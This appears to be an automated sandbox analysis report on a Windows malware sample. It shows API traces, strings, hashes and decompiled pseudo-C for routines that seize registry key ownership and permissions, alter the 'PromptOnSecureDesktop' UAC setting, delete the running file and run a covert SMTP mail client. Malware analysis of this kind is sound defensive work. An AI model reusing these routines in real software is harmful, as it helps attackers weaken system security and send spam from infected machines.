RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 0054A18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0054A1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 0054A1FD
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 0054A204
GetDriveTypeA.KERNEL32(?), ref: 0054A24E
lstrcat.KERNEL32(?,00000000), ref: 0054A288
lstrcat.KERNEL32(?,00410A34), ref: 0054A2AE
lstrcat.KERNEL32(?,00000022), ref: 0054A2C2
lstrcat.KERNEL32(?,00410A34), ref: 0054A2DD
wsprintfA.USER32 ref: 0054A306
lstrcat.KERNEL32(?,00000000), ref: 0054A32E
lstrcat.KERNEL32(?,?), ref: 0054A34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 0054A370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 0054A381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0054A1BA

Part of subcall function 0054994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00549986
Part of subcall function 0054994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 005499A6
Part of subcall function 0054994F: RegCloseKey.ADVAPI32(?), ref: 005499AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 0054A3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 0054A3CB
GetDriveTypeA.KERNEL32(00000022), ref: 0054A406

Strings

\, xrefs: 00549F5C
D, xrefs: 0054A1DE
P, xrefs: 00549FFA
", xrefs: 0054A2C8
", xrefs: 0054A12B
", xrefs: 0054A3D9

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction ID: 9b96bdbca5fd1ce1d132f81c3610b384de28ad8e43a91e5a117faa77f9b06988
Opcode Fuzzy Hash: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction Fuzzy Hash: E4F140B1C40259AFDB11DBA49C4DEEF7BBCBB48308F4484A6F609E2141E7758A848F65

Uniqueness

Uniqueness Score: -1.00%

Function 00547CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 00547D0A
GetUserNameA.ADVAPI32(?,?), ref: 00547D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00547D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 00547D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00547DA9
EqualSid.ADVAPI32(?,?), ref: 00547DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 00547DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00547DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00547DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 00547DFB
LocalFree.KERNEL32(00000000), ref: 00547E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00547E1E

Strings

PromptOnSecureDesktop, xrefs: 00547F89
D, xrefs: 00547D5C

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: ad8710f70d257b99f952f3359a9fb0586ad0b4263a609af9f6d4c3f25ffec172
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: BAA14A7290425DAFDB118FA0DD88FEEBFBDFB48304F04816AE505E6150EB758A85CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

D, xrefs: 00407B0C
PromptOnSecureDesktop, xrefs: 00407D39

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

localcfg, xrefs: 0040672D
12:08:32, xrefs: 00406535
va=%08X%08X uef=%p, xrefs: 00406595
Jan 13 2018, xrefs: 0040653A
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
except_info, xrefs: 00406728
plgs:, xrefs: 004066AA
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
%d=%p, xrefs: 004066F9

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
